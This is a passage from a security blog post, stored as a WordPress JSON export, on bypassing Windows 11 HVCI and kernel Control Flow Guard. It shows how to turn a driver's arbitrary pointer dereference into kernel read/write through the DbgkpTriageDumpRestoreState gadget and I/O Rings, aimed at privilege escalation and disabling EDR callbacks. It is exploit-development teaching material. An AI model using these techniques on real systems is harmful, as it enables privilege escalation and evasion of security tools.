{"id":4228,"date":"2025-01-15T09:44:29","date_gmt":"2025-01-15T08:44:29","guid":{"rendered":"https:\/\/security.humanativaspa.it\/?p=4228"},"modified":"2025-09-29T10:54:22","modified_gmt":"2025-09-29T10:54:22","slug":"from-arbitrary-pointer-dereference-to-arbitrary-read-write-in-latest-windows-11","status":"publish","type":"post","link":"https:\/\/hnsecurity.it\/it\/blog\/from-arbitrary-pointer-dereference-to-arbitrary-read-write-in-latest-windows-11\/","title":{"rendered":"From arbitrary pointer dereference to arbitrary read\/write in latest Windows 11"},"content":{"rendered":"<p>In the <a href=\"https:\/\/hnsecurity.it\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-3\/\">last part<\/a> of this <strong>Windows kernel exploitation<\/strong> <a href=\"https:\/\/hnsecurity.it\/tag\/atdcm64a\/\">series<\/a>, we successfully exploited an arbitrary pointer dereference, bypassing SMEP and KVA Shadowing to finally obtain <strong>arbitrary code execution in kernel mode<\/strong>.<\/p>\r\n<p>However, on the latest Windows 11 some <strong>security features<\/strong> part of <a href=\"https:\/\/learn.microsoft.com\/en-us\/windows-hardware\/design\/device-experiences\/oem-vbs\">Virtualization-Based Security<\/a> are enabled by default and are going to <strong>mitigate<\/strong> our <a href=\"https:\/\/github.com\/MrAle98\/ATDCM64a-LPE\">exploit<\/a>. The security features that we will have to face are <a href=\"https:\/\/learn.microsoft.com\/en-us\/windows-hardware\/drivers\/bringup\/device-guard-and-credential-guard\">Hypervisor-protected code integrity<\/a>, a.k.a HVCI or Memory integrity, and kernel <a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/secbp\/control-flow-guard\">Control Flow Guard<\/a> (kCFG). <br \/>In this article we will briefly examine what VBS, HVCI, and kCFG are and modify our original exploit code in a way that allows us to<strong> turn<\/strong> our<strong> arbitrary pointer dereference <\/strong>into\u00a0an<strong> arbitrary read\/write primitive<\/strong>, that in turn allows us to perform data-only attacks, such as <strong>elevating token privileges<\/strong>, <strong>swapping token addresses<\/strong>, <strong>disabling EDR kernel callbacks<\/strong> or <strong>setting\/unsetting PPL features of an arbitrary process<\/strong>, just to mention a few possibilities.<\/p>\r\n<p><em>Note: I started working on this article before the release of Windows 11 24h2. Windows 11 24h2 removed several kernel address leak vulnerabilities (still available if you have the SeDebugPrivilege, that is if you are an Administrator) that are leveraged in this article.<\/em><\/p>\r\n<h2>Setting up the environment<\/h2>\r\n<p>If you want to follow on your own, you should follow the instructions below to <strong>create a Windows 11 VM with VBS enabled<\/strong> on VMware. First, in the <em>Settings<\/em> of your host machine look for <em>Core isolation<\/em> and disable <em>Memory integrity<\/em>. After that, in VMware go into the <em>Virtual Machine Settings &gt; Options &gt; Advanced<\/em> menu and check <em>Enable VBS Support<\/em>.<\/p>\r\n<figure id=\"attachment_4241\" aria-describedby=\"caption-attachment-4241\" style=\"width: 872px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"wp-image-4241 size-full\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-4-1.png\" alt=\"\" width=\"872\" height=\"715\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-4-1.png 872w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-4-1-300x246.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-4-1-768x630.png 768w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-4-1-350x287.png 350w\" sizes=\"(max-width: 872px) 100vw, 872px\" \/><figcaption id=\"caption-attachment-4241\" class=\"wp-caption-text\">Enabling VBS support in VMWare<\/figcaption><\/figure>\r\n<p>Notice this will enable also <em>Secure Boot<\/em>. If Secure Boot is enabled <strong>you won&#8217;t be able to do kernel debugging<\/strong>. To disable it, while keeping VBS enabled, navigate to the folder of your VM and <strong>open the .vmx file<\/strong> in a text editor. Change the attribute <em>uefi.secureBoot.enabled<\/em> to <strong>FALSE<\/strong>.<\/p>\r\n<figure id=\"attachment_4242\" aria-describedby=\"caption-attachment-4242\" style=\"width: 579px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"size-full wp-image-4242\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-5-1.png\" alt=\"\" width=\"579\" height=\"304\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-5-1.png 579w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-5-1-300x158.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-5-1-350x184.png 350w\" sizes=\"(max-width: 579px) 100vw, 579px\" \/><figcaption id=\"caption-attachment-4242\" class=\"wp-caption-text\">Disabling Secure Boot<\/figcaption><\/figure>\r\n<p>Now, run your VM and inside it open <em>Settings<\/em>, navigate to <em>Core isolation<\/em> and set <em>Memory integrity<\/em> to <strong>enabled<\/strong>.<\/p>\r\n<figure id=\"attachment_4243\" aria-describedby=\"caption-attachment-4243\" style=\"width: 738px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"size-full wp-image-4243\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-6-1.png\" alt=\"\" width=\"738\" height=\"323\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-6-1.png 738w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-6-1-300x131.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-6-1-350x153.png 350w\" sizes=\"(max-width: 738px) 100vw, 738px\" \/><figcaption id=\"caption-attachment-4243\" class=\"wp-caption-text\">Enabling HVCI in the VM<\/figcaption><\/figure>\r\n<p>Restart the VM. Now <strong>your VM should have HVCI and kCFG enabled but Secure Boot disabled<\/strong>, allowing you to <a href=\"https:\/\/learn.microsoft.com\/en-us\/windows-hardware\/drivers\/debugger\/setting-up-a-network-debugging-connection\">setup kernel debugging<\/a>.<\/p>\r\n<h2>VBS, HVCI, and kCFG<\/h2>\r\n<p>Let&#8217;s first understand what VBS, HVCI, and kCFG are and what are their implications when it comes to exploit development. The following blog posts authored by Connor McGarr are very good to shed light on this topic:<\/p>\r\n<ul>\r\n<li><a href=\"https:\/\/connormcgarr.github.io\/hvci\/\">https:\/\/connormcgarr.github.io\/hvci\/<\/a><\/li>\r\n<li><a href=\"https:\/\/www.crowdstrike.com\/en-us\/blog\/state-of-exploit-development-part-1\/\">https:\/\/www.crowdstrike.com\/en-us\/blog\/state-of-exploit-development-part-1\/<\/a><\/li>\r\n<li><a href=\"https:\/\/www.crowdstrike.com\/en-us\/blog\/state-of-exploit-development-part-2\/\">https:\/\/www.crowdstrike.com\/en-us\/blog\/state-of-exploit-development-part-2\/<\/a><\/li>\r\n<\/ul>\r\n<h3>Virtualization Based Security<\/h3>\r\n<p><em>Virtualization-based security<\/em> (VBS), uses hardware virtualization and the Windows hypervisor to <strong>create an isolated virtual environment that becomes the root of trust of the OS that assumes the kernel can be compromised<\/strong>. Windows uses this isolated environment to host a number of security solutions, such as <em>HVCI<\/em> and <em>Credential Guard.<\/em><\/p>\r\n<p>The idea is that VBS, using the hypervisor, creates two <strong>Virtual Trust Levels (VTLs)<\/strong>, isolated environments similar to virtual machines (but they are NOT exactly virtual machines):<\/p>\r\n<ul>\r\n<li><em>Virtual Trust Level 0 (VTL0)<\/em>: An environment that hosts the &#8220;regular kernel&#8221;, that is <strong>ntoskrnl.exe<\/strong>. This is the environment the user interacts with, so it is <strong>where user-mode programs are executed,<\/strong> including our exploit.<\/li>\r\n<li><em>Virtual Trust Level 1 (VTL1)<\/em>: An environment that hosts the &#8220;secure kernel&#8221; that is <strong>securekernel.exe<\/strong>.<\/li>\r\n<\/ul>\r\n<figure id=\"attachment_4237\" aria-describedby=\"caption-attachment-4237\" style=\"width: 647px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"wp-image-4237 size-full\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-9.png\" alt=\"\" width=\"647\" height=\"640\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-9.png 647w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-9-300x297.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-9-350x346.png 350w\" sizes=\"(max-width: 647px) 100vw, 647px\" \/><figcaption id=\"caption-attachment-4237\" class=\"wp-caption-text\">Virtual Trust Levels. Source: <a href=\"https:\/\/connormcgarr.github.io\/hvci\/\">Connor McGarr&#8217;s blog.<\/a><\/figcaption><\/figure>\r\n<p><strong>VTL1 <\/strong>is the<strong> more privileged environment<\/strong> while <strong>VTL0 <\/strong>is the<strong> less privileged environment<\/strong>. When the system boots and both environments are loaded, <strong>VTL1 is allowed to configure VTL0<\/strong> by calling the <a href=\"https:\/\/learn.microsoft.com\/en-us\/virtualization\/hyper-v-on-windows\/tlfs\/hypercalls\/overview\">&#8220;APIs&#8221;<\/a> offered by the hypervisor, issuing <a href=\"https:\/\/learn.microsoft.com\/en-us\/virtualization\/hyper-v-on-windows\/tlfs\/hypercall-interface\"><em>hypercalls<\/em><\/a>. <\/p>\r\n<figure id=\"attachment_4238\" aria-describedby=\"caption-attachment-4238\" style=\"width: 549px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"wp-image-4238 size-full\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-1-1.png\" alt=\"\" width=\"549\" height=\"528\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-1-1.png 549w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-1-1-300x289.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-1-1-350x337.png 350w\" sizes=\"(max-width: 549px) 100vw, 549px\" \/><figcaption id=\"caption-attachment-4238\" class=\"wp-caption-text\">Relationships between VTL hypervisor and SLAT. Source: <em>Windows Internals 7th edition<\/em> book.<\/figcaption><\/figure>\r\n<h3>Secondary Layer Address Translation<\/h3>\r\n<p><em>Secondary Layer Address Translation<\/em> or SLAT <strong>allows each VM to run in its own address space in the eyes of the hypervisor<\/strong>. Intel\u2019s implementation of SLAT is known as <em>Extended Page Tables<\/em>, or EPT (see <a href=\"https:\/\/connormcgarr.github.io\/hvci\/\">here<\/a>).<\/p>\r\n<p>The idea is that when a VM tries to access memory at a given virtual address VA, the <strong>VM<\/strong> uses its own set of Page Table Entries or PTEs, to <strong>translate the VA <\/strong>to an address known as <em><strong>Guest Physical Address<\/strong><\/em> or GPA (in the following image ignore the last step of accessing the RAM). <\/p>\r\n<figure id=\"attachment_4239\" aria-describedby=\"caption-attachment-4239\" style=\"width: 1321px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"size-full wp-image-4239\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-2-1.png\" alt=\"\" width=\"1321\" height=\"681\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-2-1.png 1321w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-2-1-300x155.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-2-1-1024x528.png 1024w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-2-1-768x396.png 768w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-2-1-350x180.png 350w\" sizes=\"(max-width: 1321px) 100vw, 1321px\" \/><figcaption id=\"caption-attachment-4239\" class=\"wp-caption-text\">Virtual address to physical address translation (x64 arch). Source: <em>Windows Internals 7th edition<\/em> book.<\/figcaption><\/figure>\r\n<p>A GPA is still NOT a valid physical address. Therefore, the <strong>hypervisor<\/strong> &#8220;intercepts&#8221; the access to the GPA and uses its own special set of PTEs known as <strong><em>Extended Page Table Entries<\/em><\/strong>\u00a0EPTEs to <strong>translate the GPA to a <em>system physical address<\/em><\/strong>\u00a0or SPA. <\/p>\r\n<figure id=\"attachment_4240\" aria-describedby=\"caption-attachment-4240\" style=\"width: 800px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"wp-image-4240 size-full\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-3-1.png\" alt=\"\" width=\"800\" height=\"645\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-3-1.png 800w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-3-1-300x242.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-3-1-768x619.png 768w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-3-1-350x282.png 350w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><figcaption id=\"caption-attachment-4240\" class=\"wp-caption-text\">GPA to SPA translation. Source: <a href=\"https:\/\/rayanfam.com\/topics\/hypervisor-from-scratch-part-4\/\">Rayanfam&#8217;s Blog.<\/a><\/figcaption><\/figure>\r\n<p><strong>The SPA is the final physical address in RAM<\/strong>.<\/p>\r\n<p>Therefore, <strong>the real state of physical memory pages is described by EPTEs and NOT by PTEs<\/strong> when the hypervisor is running. If you want to dive deeper on this topic I recommend the <a href=\"https:\/\/rayanfam.com\/tutorials\/\">Hypervisor from scratch series<\/a> from Rayanfam&#8217;s blog.<\/p>\r\n<h3>HVCI<\/h3>\r\n<p><em>Hypervisor-protected code integrity<\/em> (HVCI) is a virtualization-based security (VBS) feature available in Windows 10, Windows 11, and Windows Server 2016 and later.<\/p>\r\n<p>In a few words, it consists of securekernel.exe (running in VTL1) that, at boot time, works with the hypervisor to <strong>create a set of <em>EPTEs <\/em><\/strong>that describe the <em><strong>final view<\/strong> <strong>of physical memory<\/strong><\/em> while the OS in VTL0 (ntoskrnl.exe) maintans its own view of memory. Basically <strong>all EPTEs<\/strong> are configured in a way that all pages are either <strong>readable and writable<\/strong>,\u00a0<code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">RW-<\/code> or <strong>readable and executable<\/strong> <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">R-X<\/code> but <strong>NEVER writable-executable<\/strong> <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">-WX<\/code> or <strong>readable-writable-executable<\/strong> <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">RWX<\/code>. So, supposing an attacker does the following:<\/p>\r\n<ol>\r\n<li>Store the shellcode in a kernel memory page at virtual address VA.<\/li>\r\n<li>Exploit a vulnerability (arbitrary write, arbitrary pointer dereference, etc.) that allows to <strong>set the Execute bit<\/strong> in the corresponding PTE of virtual address VA.<\/li>\r\n<li>Trigger shellcode execution at virtual address VA.<\/li>\r\n<\/ol>\r\n<p>The exploit will <strong>fail<\/strong> because the CPU, at high level, does the following:<\/p>\r\n<ol>\r\n<li>Convert<strong> the VA to a GPA<\/strong> (guest physical address), noticing the <strong>PTE has the Execute bit set<\/strong> (it was <strong>tampered by the attacker<\/strong> at step 2 above).<\/li>\r\n<li>The <strong>GPA is passed to the hypervisor<\/strong> that converts it<strong>\u00a0in SPA<\/strong> and notices that the corresponding <strong>EPTE doesn&#8217;t have the Execute bit set<\/strong>.<\/li>\r\n<li>Therefore, <strong>execution is halted<\/strong> and the exploit fails.<\/li>\r\n<\/ol>\r\n<p>EPTEs can be thought as <strong>another mapping of virtual memory to physical memory that CANNOT be tampered by the attacker<\/strong>. In fact GPA and SPA will have the same value as the purpose of HVCI is just making sure an attacker cannot execute arbitrary shellcode in kernel-mode. Another exploit dealing with PTEs is setting the <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">U\/S<\/code> bit of a user-mode page to <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">S<\/code>, or Supervisor (this is in fact what we did in a previous <a href=\"https:\/\/hnsecurity.it\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-3\/\">blog post<\/a>). This way, when the CPU is running in kernel-mode (CPL = 0), it is allowed to execute the shellcode in the page, bypassing SMEP. EPTEs do not have a <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">U\/S<\/code> bit, therefore they can&#8217;t prevent such scenario. However, Intel introduced the <strong>hardware solution<\/strong> known as <em>Mode-Based Execution Control<\/em>, or <strong>MBEC<\/strong>, to mitigate this attack. The general idea is setting all <strong>user-mode pages <\/strong>in the<strong> EPTEs <\/strong>as<strong> NON executable<\/strong> when CPU is running in<strong> kernel-mode<\/strong>. Microsoft introduced <em>Restricted User Mode<\/em>, or <strong>RUM<\/strong> as a <strong>software solution<\/strong>, in case the hardware doesn&#8217;t support MBEC. At this point, I hope I didn&#8217;t confuse you. If it is the case, I encourage you to read the whole Connor&#8217;s <a href=\"https:\/\/connormcgarr.github.io\/hvci\/\">blog post<\/a> on HVCI. At the end of the day, as Connor already highlight in his blog post, the <strong>HVCI&#8217;s impact on exploit development<\/strong> is the following:<\/p>\r\n<ul>\r\n<li><strong>PTE manipulation to achieve unsigned-code execution is impossible<\/strong><\/li>\r\n<li><strong>Any unsigned-code execution in the kernel is impossible<\/strong><\/li>\r\n<\/ul>\r\n<p>So, let&#8217;s think about our <a href=\"https:\/\/hnsecurity.it\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-3\/\">arbitrary pointer dereference<\/a>. We can&#8217;t craft anymore a ROP chain that tampers with the PTEs, as it would be useless with HVCI.<\/p>\r\n<p>However, we still have the <strong>full set of kernel APIs available<\/strong>. For example,\u00a0we could craft a ROP chain that <strong>overwrites the _KTHREAD.PreviousMode<\/strong> field of the thread to obtain <strong>arbitrary read\/write<\/strong> <strong>primitives<\/strong> in the kernel (well explained in the <a href=\"https:\/\/apps.p.ost2.fyi\/learning\/course\/course-v1:OpenSecurityTraining2+Exp4011_Windows_Kernel_UAF_KTM+2023_v1\/home\">OST2 \u2013 Exp4011<\/a>\u00a0course, taught by\u00a0<a href=\"https:\/\/x.com\/saidelike\">Cedric Halbronn<\/a>).<\/p>\r\n<p>The issue is that <strong>we CAN&#8217;T craft ROP chains <\/strong>(in this way)\u00a0due to <strong>kernel Control Flow Guard (kCFG)<\/strong>.<\/p>\r\n<h3>kCFG<\/h3>\r\n<p>In a few words, every time there is an indirect function call, as in our case, the function call goes through the <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">nt!_guard_dispatch_icall<\/code> routine. The routine does the following:<\/p>\r\n<ol>\r\n<li>Checks if the target function is valid.<\/li>\r\n<li>If It is valid, it jumps to the target function.<\/li>\r\n<li>If it is not valid, the kernel halts execution and there is a BSOD.<\/li>\r\n<\/ol>\r\n<p>For kCFG, every address corresponding to the <strong>beginning of a function is considered a valid target<\/strong>.<\/p>\r\n<p>It is also worth noticing that <strong>kCFG is only enabled when HVCI is enabled<\/strong>. kCFG uses a <strong>bitmap<\/strong> to validate the target. The bitmap is <strong>read-only<\/strong>, and this is enforced by <strong>HVCI<\/strong>.\u00a0<\/p>\r\n<p>When HVCI is not enabled, the indirect function calls still go through the <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">nt!_guard_dispatch_icall<\/code> routine. However, the routine just <strong>checks if the address resides in user-space<\/strong> ( from <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">0<\/code>to <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">0x000007FFFFFEFFFF<\/code>) or in kernel-space (from <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">0x0000080000000000<\/code> to <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">0xFFFFFFFFFFFFFFFF<\/code>). In case the address resides in user-space, it halts the execution and triggers a BSOD.<\/p>\r\n<p>Indeed, If you remember <a href=\"https:\/\/hnsecurity.it\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-2\/\">part 2<\/a> of this series, when we tried to hijack execution to address <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">0xdeadbeef<\/code> we got a BSOD. That was <em>kCFG with HVCI disabled<\/em>. If you want to understand more in detail CFG, I suggest you to start from the following <a href=\"https:\/\/www.crowdstrike.com\/en-us\/blog\/state-of-exploit-development-part-1\/\">blog post<\/a>, again authored by Connor McGarr.<\/p>\r\n<p>So, the impact of <strong>kCFG with HVCI enabled<\/strong> is that <strong>we CAN&#8217;T hijack execution to arbitrary addresses in ntoskrnl.exe <\/strong>preventing us from crafting arbitrary ROP chains. However, <strong>we can still hijack execution to the beginning of any function in ntoskrnl.exe<\/strong>.<\/p>\r\n<h2>Crafting our new exploit<\/h2>\r\n<p>Now that we have an idea of what is the impact of the new security mitigations enabled by Microsoft, we can start thinking about how we can modify our exploit in order to achieve LPE.<\/p>\r\n<h3>&#8220;Relaxing&#8221; the constraints<\/h3>\r\n<p>In the previous <a href=\"https:\/\/hnsecurity.it\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-3\/\">exploit<\/a>, I didn&#8217;t use any function such as <em><a href=\"https:\/\/learn.microsoft.com\/it-it\/windows\/win32\/api\/psapi\/nf-psapi-enumdevicedrivers\">EnumDeviceDrivers()<\/a><\/em> or <em><a href=\"https:\/\/learn.microsoft.com\/it-it\/windows\/win32\/api\/winternl\/nf-winternl-ntquerysysteminformation\">NtQuerySystemInformation()<\/a><\/em> to leak kernel addresses. In this case, instead, we are going to use <em>NtQuerySystemInformation()<\/em> to obtain LPE with kCFG\/HVCI enabled.<\/p>\r\n<p><em>Note: Starting from Windows 11 24h2, EnumDeviceDrivers() and NtQuerySystemInformation() require the <strong>SeDebugPrivilege<\/strong> to obtain kernel addresses. This means <strong>you must be an Administrator<\/strong> in order to use them on the latest Windows 11 version. Of course, this is already a requirement for a <strong>BYOVD attack<\/strong> scenario.<\/em><\/p>\r\n<h3>Bypassing kCFG<\/h3>\r\n<p>The starting point is always looking for research papers\/blog post from researchers that already had to deal with such a scenario. After a while, I&#8217;ve found a really good <a href=\"https:\/\/www.crowdfense.com\/windows-applocker-driver-lpe-vulnerability-cve-2024-21338\/\">blog post<\/a> authored by <a href=\"https:\/\/x.com\/tykawaii98\">@tykawaii98<\/a> and <a href=\"https:\/\/x.com\/void_sec\">@void_sec<\/a>. The vulnerability class is again an <strong>arbitrary pointer dereference<\/strong> that allows to <strong>hijack the execution flow<\/strong>.<\/p>\r\n<p>The idea to bypass kCFG is basically <strong>finding a function<\/strong> that allows us to perform a <strong>data-only attack<\/strong> based on the <strong>registers we control<\/strong> when we reach the indirect function call.<\/p>\r\n<p>Recalling the end of <a href=\"https:\/\/hnsecurity.it\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-2\/\">part 2<\/a> of this series:\u00a0 <em>&#8220;At this point we know <strong>we can redirect execution to an arbitrary address<\/strong>\u00a0and that we control registers\u00a0<strong>RBX<\/strong>,\u00a0<strong>RCX<\/strong>\u00a0and\u00a0<strong>RDI<\/strong>&#8220;. <\/em>So, we control <strong>RBX, RCX and RDI\u00a0<\/strong>at the moment of the indirect call.<\/p>\r\n<p>The authors of the blog post discovered <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">nt!DbgkpTriageDumpRestoreState()<\/code>.<\/p>\r\n<figure id=\"attachment_4289\" aria-describedby=\"caption-attachment-4289\" style=\"width: 782px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"wp-image-4289 size-full\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/2024-10-14-00_48_08-Clipboard-1.png\" alt=\"\" width=\"782\" height=\"212\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/2024-10-14-00_48_08-Clipboard-1.png 782w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/2024-10-14-00_48_08-Clipboard-1-300x81.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/2024-10-14-00_48_08-Clipboard-1-768x208.png 768w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/2024-10-14-00_48_08-Clipboard-1-350x95.png 350w\" sizes=\"(max-width: 782px) 100vw, 782px\" \/><figcaption id=\"caption-attachment-4289\" class=\"wp-caption-text\">Disassembly of nt!DbgkpTriageDumpRestoreState<\/figcaption><\/figure>\r\n<p>In a few words, the interesting things that this function does are the following:<\/p>\r\n<ol>\r\n<li>move the value from <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">[RCX]<\/code> to <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">RDX<\/code><\/li>\r\n<li>move the 4 byte value from <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">[RCX+0x10]<\/code> to <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">EAX<\/code><\/li>\r\n<li>store <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">EAX<\/code>(with <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">EAX=[RCX+0x10]<\/code>) at <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">[RDX+0x2078]<\/code> (with <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">RDX=[RCX]<\/code>)<\/li>\r\n<li>move the 4 byte value from <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">[RCX+0x14]<\/code> to <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">EAX<\/code><\/li>\r\n<li>store <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">EAX<\/code>(with <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">EAX=[RCX+0x14]<\/code>) at <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">[RDX+0x207c]<\/code> (with <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">RDX=[RCX]<\/code>)<\/li>\r\n<\/ol>\r\n<p>In other words, we can <strong>write <\/strong>an <strong>8 byte value at<\/strong>\u00a0<code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">[RCX+0x10]<\/code>, to the <strong>address<\/strong> at <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">[RDX+0x2078]<\/code>, where <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">RDX<\/code> is <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">[RCX]<\/code>. So we have an <strong>arbitrary 8 bytes write<\/strong> by just <strong>controlling RCX<\/strong>. As <strong>we control RCX,<\/strong> this function is perfect for our purposes.<\/p>\r\n<h3>Getting arbitrary read\/write<\/h3>\r\n<p>In the same article from Crowdfense, the authors show two ways to use this gadget:<\/p>\r\n<ol>\r\n<li>Set <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">_KTHREAD.PreviousMode<\/code> field of the thread to obtain <strong>arbitrary read\/write of kernel-space memory<\/strong>.<\/li>\r\n<li>Overwrite the <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">_TOKEN.Privileges.Present<\/code> field of the current process token adding all privileges to ourselves (basically the same we did in <a href=\"https:\/\/hnsecurity.it\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-3\/\">part 3<\/a> but with a shellcode).<\/li>\r\n<\/ol>\r\n<p>On the other hand, I decided to use the <a href=\"https:\/\/windows-internals.com\/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11\/\">I\/O Ring technique<\/a> to obtain <strong>arbitrary read\/write<\/strong> primitives in kernel-space. Why? mainly because:<\/p>\r\n<ol>\r\n<li>It looks like Microsoft is about to mitigate the <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">_KTHREAD.PreviousMode<\/code> technique (it was outlined in this <a href=\"https:\/\/conference.hitb.org\/hitbsecconf2023hkt\/materials\/D2T1%20-%20Windows%20Kernel%20Security%20-%20A%20Deep%20Dive%20into%20Two%20Exploits%20Demonstrated%20at%20Pwn2Own%20-%20Thomas%20Imbert.pdf\">presentation<\/a> and in this <a href=\"https:\/\/x.com\/GabrielLandau\/status\/1597001955909697536\">post,<\/a> it seems anyway it will take some time).<\/li>\r\n<li>Overwriting the <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">_TOKEN.Privileges.Present<\/code> allows us to only elevate our privileges. We can&#8217;t disable EDR callbacks or unset\/set PPL attributes for processes, both attacks are instead possible with arbitrary read\/write.<\/li>\r\n<li>Just playing with I\/O Rings.<\/li>\r\n<\/ol>\r\n<p><a 